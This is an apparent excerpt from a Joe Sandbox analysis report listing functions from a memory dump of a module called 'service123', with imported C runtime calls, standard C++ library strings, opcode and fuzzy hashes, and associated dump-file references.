Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memmovememset
String ID: basic_string::_M_replace_aux
API String ID: 1288253900-2536181960
Opcode ID: d66978192443755ca84c8567a69090c3d829ae036b4d399ee66b15a8d9552766
Instruction ID: 32638febb158e6bfe7d0348dca81f091d217171639dad37958699bcf314933cd
Opcode Fuzzy Hash: d66978192443755ca84c8567a69090c3d829ae036b4d399ee66b15a8d9552766
Instruction Fuzzy Hash: AE515C75A4A7058FC700DF69D9C051EFBF1BB8A208F54896DE9988B715D331E804CFA2

Function 6C35F610 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C35F668
memcpy.MSVCRT ref: 6C35F6E1

Part of subcall function 6C3610A0: memcpy.MSVCRT ref: 6C361129

Strings

basic_string::_M_replace_aux, xrefs: 6C35F690

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpy$memset
String ID: basic_string::_M_replace_aux
API String ID: 438689982-2536181960
Opcode ID: 098014ea3214fa4eaaca7645e72f51b6e9189a2cf17b6854b2ddf33779b92f3f
Instruction ID: b1f1f474cb37334b960612e0dcbea1f9ea3e1a5aaa1da3c74273b92274a7f6f9
Opcode Fuzzy Hash: 098014ea3214fa4eaaca7645e72f51b6e9189a2cf17b6854b2ddf33779b92f3f
Instruction Fuzzy Hash: AF21AE72A0A3509FC300AF1CD48046FFBE4EB89658F90896EF8C897355D331D8148B93

Function 6C3573D0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C35744A

Strings

basic_string::append, xrefs: 6C357488
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C357490

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: 6d7fd4d0c1c232c6e48e8a166bd566b34bd566d6d8aa8e6639181b5280046aaf
Instruction ID: 8cac88dbbc46a0b7e9b94c5cfd03c6db4e73892c890b5b0990d7d85ae88c7525
Opcode Fuzzy Hash: 6d7fd4d0c1c232c6e48e8a166bd566b34bd566d6d8aa8e6639181b5280046aaf
Instruction Fuzzy Hash: C32105B56197018FC300DF2AD48492AFBE5EF9A718F51886DE5848B720DB31A965CF82

Function 6C31C240 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C31C263
memcpy.MSVCRT ref: 6C31C2CF

Strings

basic_string::_M_construct null not valid, xrefs: 6C31C2E0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: b4d456adb0269fa08c5d4171017433949db59b9b127ac79cbd46bb31a324ecef
Instruction ID: 9e361ca26e749be673825b5a5e9ffa4af9a32801c9e50dcf16893ac9cbfaf22b
Opcode Fuzzy Hash: b4d456adb0269fa08c5d4171017433949db59b9b127ac79cbd46bb31a324ecef
Instruction Fuzzy Hash: 0E214DB56093148FCB00EF69D080519FBF4AF4A254F14896DE988CBB15D331D845CF52

Function 6C31BC90 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C31BCB3
memcpy.MSVCRT ref: 6C31BD1F

Strings

basic_string::_M_construct null not valid, xrefs: 6C31BD30

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: 7fcb7deb7a4364ae26a16baaafecb8f63342becd9ea5e0abbf411e6b2f1aabc9
Instruction ID: 458dc7f2295e814474fe346e82f9eb58ed01d2f764d26d04dde0704b2d3b874a
Opcode Fuzzy Hash: 7fcb7deb7a4364ae26a16baaafecb8f63342becd9ea5e0abbf411e6b2f1aabc9
Instruction Fuzzy Hash: E5211AB56093148FC704EF29D084A5ABBF4AF4A718F1588AEE998CFB15D331D845CF62

Function 6C31C470 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C31C493
memcpy.MSVCRT ref: 6C31C4FF

Strings

basic_string::_M_construct null not valid, xrefs: 6C31C510

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: fdf2083b4996805ad88bdc3fcc11f20162ca84d9e84e40a4a018f0a84749153a
Instruction ID: 1a4dadf9f96203ce42bbb138a0e1a0f6c260fbea7f6abb97104515781f5b729d
Opcode Fuzzy Hash: fdf2083b4996805ad88bdc3fcc11f20162ca84d9e84e40a4a018f0a84749153a
Instruction Fuzzy Hash: 9E114CB560D3148FC701EF29E08466AFBE4AF8A254F15886DE898CBB05D731D849CF62

Function 6C31BEC0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C31BEE3
memcpy.MSVCRT ref: 6C31BF4F

Strings

basic_string::_M_construct null not valid, xrefs: 6C31BF60

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: fdf2083b4996805ad88bdc3fcc11f20162ca84d9e84e40a4a018f0a84749153a
Instruction ID: a55cf0b5b1c5ca17b0992c93db51a64c5ede5a62f5d75c447e88fada412d2f30
Opcode Fuzzy Hash: fdf2083b4996805ad88bdc3fcc11f20162ca84d9e84e40a4a018f0a84749153a
Instruction Fuzzy Hash: 151149B56093148FC700DF29D08465AFBF4EF8A258F1488AEE988CBB05D331D849CF62

Function 6C2FED09 Relevance: 4.5, APIs: 3, Instructions: 13COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: a0243faf83b5049cb65a67da827766e322f4a366f4ba24501da7fc2f053d926a
Instruction ID: d907ffe2307dc9694d9b4fb437b41fdb1fe4de24eea6fd383c6b5608238eb876
Opcode Fuzzy Hash: a0243faf83b5049cb65a67da827766e322f4a366f4ba24501da7fc2f053d926a
Instruction Fuzzy Hash: 04C04C2AEC411D85C8106ABC20597EED1295B8324DF44240699E663F088B12D447197B

Function 6C3517F0 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 838COMMON

Download Yara Rule

Strings

-, xrefs: 6C35241B

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memset
String ID: -
API String ID: 2221118986-2547889144
Opcode ID: 160e9e8251240769449b549e1e70386011f2dc2da7196108ca93044fa84d97a0
Instruction ID: e2bf9bba8cc1b369ea1f11dfcd2456356b53032a90c15f597e4509b3d0a1ac08
Opcode Fuzzy Hash: 160e9e8251240769449b549e1e70386011f2dc2da7196108ca93044fa84d97a0
Instruction Fuzzy Hash: 0D729F71A042458FDB00CF68C184F9EBBF1BF05368F948658E864ABB91D732E956CF91

Function 6C350AA0 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 837COMMON

Download Yara Rule

Strings

-, xrefs: 6C3516CB

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memset
String ID: -
API String ID: 2221118986-2547889144
Opcode ID: 39347fa64105f558f285bbd75fefca9a1c4a073aeb99e87fdc7e33463d2bc42f
Instruction ID: fa38f966c1617d8d040415bb898e4f5b011631db0037f8772031a7f90c5bd5a8
Opcode Fuzzy Hash: 39347fa64105f558f285bbd75fefca9a1c4a073aeb99e87fdc7e33463d2bc42f
Instruction Fuzzy Hash: B4728D71A042498FDB00CF68C184B8EBBF1BF0536CFA58658E8659BB91C732E955CF91

Function 6C38B970 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C38BA20

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 5542aae5e708322170b3f0e42dc5e428371a08158ecfa9e7c837100685534cc6
Instruction ID: b5153f02038890242456889d859abba1042e54a01c8f257667c21729beef5c8f
Opcode Fuzzy Hash: 5542aae5e708322170b3f0e42dc5e428371a08158ecfa9e7c837100685534cc6
Instruction Fuzzy Hash: BD3160B5A093128FD310EF69C5C050AFBF4BF99218F508A6EE8D857705D335A554CFA2

Function 6C38FB20 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C38FB9E

Part of subcall function 6C3919C0: memcpy.MSVCRT ref: 6C391A36
Part of subcall function 6C3919C0: memcpy.MSVCRT ref: 6C391A76
Part of subcall function 6C3919C0: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C391AB2

Strings

basic_string::_M_replace_aux, xrefs: 6C38FC40

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: basic_string::_M_replace_aux
API String ID: 1283327689-2536181960
Opcode ID: 9ce6b7b656b15aec660d492150831aef034c9a459079d834e74375a9c9208cb0
Instruction ID: c027607e5d976866979a16e2172bb273d7c36dc21c5c9c397a8c87115e892e44
Opcode Fuzzy Hash: 9ce6b7b656b15aec660d492150831aef034c9a459079d834e74375a9c9208cb0
Instruction Fuzzy Hash: D8319C3164A3058BC704DF69C49062AB7F5FF89708F20882EE9A587B50E772DA45CF42

Function 6C35F430 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

basic_string::_S_construct null not valid, xrefs: 6C35F4B0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_S_construct null not valid
API String ID: 0-290684606
Opcode ID: db1e5a63a5e8aee4d47adf1f269de05c2f66dbe42a4aabc9597e709dd795e580
Instruction ID: 0857607f28d73cf8b4656e8eec3d97fd1d37cd3e8240227a50d93dd7a4981979
Opcode Fuzzy Hash: db1e5a63a5e8aee4d47adf1f269de05c2f66dbe42a4aabc9597e709dd795e580
Instruction Fuzzy Hash: 98019EB56097409AC300AF6E8084A2BFBE4AF95358F95882DE5C857B15C335D4588FA7

Function 6C320A1C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 39stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C320A53
memcpy.MSVCRT ref: 6C320ABF
strlen.MSVCRT ref: 6C320B03

Strings

basic_string::_M_construct null not valid, xrefs: 6C320A20

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID: basic_string::_M_construct null not valid
API String ID: 3396830738-3522614731
Opcode ID: 7d908641a114115d118c6cbb5131bc780f3f8aa89efb282cd6310772e1a46964
Instruction ID: 0727d3b1e1a062f74636d2c8b5028d67228b1e93be590f6779810ff26e7c8016
Opcode Fuzzy Hash: 7d908641a114115d118c6cbb5131bc780f3f8aa89efb282cd6310772e1a46964
Instruction Fuzzy Hash: 8CF0227A5082548FC3108F38A48495AFBF4EF5A214F15886ED9889B701C232D848CFA2

Function 6C320ACC Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 39stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C320B03
memcpy.MSVCRT ref: 6C320B6F

Strings

basic_string::_M_construct null not valid, xrefs: 6C320AD0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: b0fbefd2b3736dddadf54c9ce2281cb7f72f052b10a5ae07814b39e15a5bc36b
Instruction ID: e7fb1cad8616b86f7cd1440c89af4b6124324f44b9160a6c53686ed7d7424085
Opcode Fuzzy Hash: b0fbefd2b3736dddadf54c9ce2281cb7f72f052b10a5ae07814b39e15a5bc36b
Instruction Fuzzy Hash: FBF0467A5093508FC7208F38A48055AFBF4EF4A218F15886DD988DB701C332D808CFA2

Function 6C31C5DC Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 39stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C31C613
memcpy.MSVCRT ref: 6C31C67F

Strings

basic_string::_M_construct null not valid, xrefs: 6C31C5E0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: b0fbefd2b3736dddadf54c9ce2281cb7f72f052b10a5ae07814b39e15a5bc36b
Instruction ID: caa9bab0af04acd0da8e18da2928f00f9b3f0b643242c4ab23b1708277519914
Opcode Fuzzy Hash: b0fbefd2b3736dddadf54c9ce2281cb7f72f052b10a5ae07814b39e15a5bc36b
Instruction Fuzzy Hash: 7BF0467A5093108FC3109F38A48045AFBF4EF4A214F19986DD988DB702C332D804CFA2

Function 6C31C02C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 39stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C31C063
memcpy.MSVCRT ref: 6C31C0CF

Strings

basic_string::_M_construct null not valid, xrefs: 6C31C030

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpystrlen
String ID: basic_string::_M_construct null not valid
API String ID: 3412268980-3522614731
Opcode ID: b0fbefd2b3736dddadf54c9ce2281cb7f72f052b10a5ae07814b39e15a5bc36b
Instruction ID: a31bfaa932880d5c696841c5b2230622919582228778dca8537a5c2f5af8bb42
Opcode Fuzzy Hash: b0fbefd2b3736dddadf54c9ce2281cb7f72f052b10a5ae07814b39e15a5bc36b
Instruction Fuzzy Hash: 84F0467A5083108FC3109F38E48069AFBF4EF4A258F15886DD988DB701C332D804CF62

Function 6C2F3580 Relevance: 2.9, Strings: 2, Instructions: 398COMMON

Download Yara Rule

Strings

string literal, xrefs: 6C2F3AA4
std, xrefs: 6C2F372E

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: std$string literal
API String ID: 0-2980153874
Opcode ID: 42373f22e5708fcda5f4868b4d4482b791ffb55e0b622515323b7fc7f9e3a179
Instruction ID: 84715ecf099c05b745c7dcdd4e28c70af22ab84d6288ed394154394a2853c5ca
Opcode Fuzzy Hash: 42373f22e5708fcda5f4868b4d4482b791ffb55e0b622515323b7fc7f9e3a179
Instruction Fuzzy Hash: 43E1B1B1A8460E8FD700CF29C480756F7A2BB45359F588669EC788FB46D739D8478B82

Function 6C31E9D0 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C31EA30
basic_string::substr, xrefs: 6C31EA28

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
